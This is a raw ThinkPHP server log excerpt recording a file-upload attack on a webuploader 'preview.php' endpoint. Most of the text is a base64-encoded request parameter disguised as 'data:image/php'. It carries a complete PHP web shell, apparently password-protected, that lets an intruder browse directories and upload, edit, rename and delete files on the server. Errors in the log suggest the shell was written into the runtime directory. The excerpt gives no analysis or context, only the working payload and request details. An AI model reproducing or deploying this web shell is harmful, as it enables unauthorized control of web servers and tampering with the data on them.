NzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'static' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:00+08:00 ] 119.42.146.234 POST 59.110.137.245/Data/editor/webuploader/0.1.15/server/preview.php [运行时间:0.002832s] [吞吐率:353.12req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Data', 2 => 'editor', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZ